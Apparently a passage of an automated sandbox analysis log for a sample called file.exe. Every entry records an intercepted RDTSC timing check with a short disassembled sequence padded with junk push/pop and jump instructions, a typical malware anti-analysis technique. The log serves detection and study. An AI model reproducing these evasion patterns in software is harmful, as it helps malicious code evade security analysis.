Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8596 second address: 11E85A0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F43B8D26616h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8701 second address: 11E8717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8FD99F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8717 second address: 11E871B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E871B second address: 11E873B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F43B8FD99F8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8A26 second address: 11E8A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8B43 second address: 11E8B48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8B48 second address: 11E8B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8B56 second address: 11E8B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8FD99F5h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8B7A second address: 11E8B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8B7E second address: 11E8B9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jno 00007F43B8FD99E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F43B8FD99F3h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8B9F second address: 11E8BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8BA5 second address: 11E8BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8E6F second address: 11E8E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8E78 second address: 11E8E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8E7C second address: 11E8E80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E9037 second address: 11E905D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F43B8FD99ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEE8C second address: 11EEE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEE92 second address: 11EEE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEE98 second address: 11EEE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4D8E second address: 11F4D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4D96 second address: 11F4DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F503F second address: 11F5049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F43B8FD99E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5049 second address: 11F504D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F504D second address: 11F5057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5057 second address: 11F505D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F505D second address: 11F5067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5067 second address: 11F506D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F506D second address: 11F5099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jp 00007F43B8FD99E8h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 js 00007F43B8FD99F7h 0x00000018 jmp 00007F43B8FD99EFh 0x0000001d push edi 0x0000001e pop edi 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F532E second address: 11F5332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5B6C second address: 11F5B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F43B8FD99E6h 0x0000000a pop edi 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5B7A second address: 11F5B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD753 second address: 11FD757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD757 second address: 11FD7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F43B8D2661Dh 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007F43B8D26625h 0x00000015 pop edx 0x00000016 jmp 00007F43B8D26625h 0x0000001b pushad 0x0000001c jmp 00007F43B8D2661Ah 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD2DC second address: 11FD2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD2E2 second address: 11FD335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8D2661Fh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F43B8D26623h 0x00000012 jmp 00007F43B8D2661Ch 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007F43B8D2661Eh 0x00000021 jmp 00007F43B8D2661Bh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD4AE second address: 11FD4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F43B8FD99E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD4BD second address: 11FD4CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D2661Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD4CE second address: 11FD4DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F43B8FD99E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD4DA second address: 11FD4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120BA9F second address: 120BAA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12146F1 second address: 121470D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8D26628h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121470D second address: 1214739 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F43B8FD99F5h 0x00000008 jnp 00007F43B8FD99E6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jc 00007F43B8FD99E6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214739 second address: 1214756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F43B8D26618h 0x0000000f push esi 0x00000010 pop esi 0x00000011 ja 00007F43B8D2661Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214756 second address: 121475C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121475C second address: 1214760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218BB0 second address: 1218BB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218BB5 second address: 1218BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F43B8D26616h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218BC7 second address: 1218C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8FD99F5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F43B8FD99E8h 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 jmp 00007F43B8FD99F2h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122528E second address: 12252A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edi 0x0000000b jng 00007F43B8D2662Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223DBA second address: 1223DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223DBE second address: 1223DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D2661Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F43B8D2661Eh 0x0000000f jl 00007F43B8D26616h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a jc 00007F43B8D26616h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143316 second address: 1143329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8FD99EDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12240A8 second address: 12240AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12243BB second address: 12243BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224FBE second address: 1224FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F43B8D26616h 0x0000000d jmp 00007F43B8D26623h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224FDE second address: 1224FE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122849A second address: 12284AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jc 00007F43B8D26616h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12284AA second address: 12284E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F43B8FD99F5h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F43B8FD99EAh 0x00000011 jmp 00007F43B8FD99EDh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12284E1 second address: 12284E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12284E5 second address: 12284FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12284FA second address: 1228504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1228504 second address: 122850A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A1DF second address: 122A1E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A1E3 second address: 122A1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F43B8FD99E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jg 00007F43B8FD99E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123679C second address: 12367A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12367A2 second address: 12367C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F43B8FD99ECh 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 jmp 00007F43B8FD99EBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12367C8 second address: 12367CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12367CE second address: 1236806 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F43B8FD99F7h 0x0000000e jmp 00007F43B8FD99F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123661E second address: 1236632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D2661Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236632 second address: 1236638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236638 second address: 1236641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244860 second address: 1244883 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F43B8FD99F7h 0x00000008 jmp 00007F43B8FD99F1h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F43B8FD99E6h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12446DA second address: 12446EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F43B8D26616h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12446EA second address: 12446EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124669D second address: 12466A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246250 second address: 1246265 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F43B8FD99F0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246265 second address: 1246276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F43B8D2661Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246276 second address: 124627A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124627A second address: 1246280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246280 second address: 12462AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F43B8FD99F8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F43B8FD99ECh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256CA8 second address: 1256CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255C7A second address: 1255C8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255DE7 second address: 1255E15 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 jmp 00007F43B8D26627h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007F43B8D26616h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255E15 second address: 1255E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007F43B8FD99ECh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255E28 second address: 1255E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F43B8D26623h 0x0000000a jmp 00007F43B8D2661Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F43B8D26616h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125627D second address: 1256287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F43B8FD99E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256287 second address: 1256295 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F43B8D2661Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125658C second address: 12565B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F43B8FD99F4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F43B8FD99E6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12565B0 second address: 12565CC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F43B8D26616h 0x00000008 jmp 00007F43B8D26622h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256779 second address: 1256787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F43B8FD99E6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256787 second address: 12567B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F43B8D26628h 0x0000000b pop edi 0x0000000c popad 0x0000000d jo 00007F43B8D26626h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12567B0 second address: 12567B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B092 second address: 125B0C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F43B8D26623h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F43B8D26624h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B2F8 second address: 125B2FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B2FF second address: 125B309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F43B8D26616h 0x0000000a rdtsc
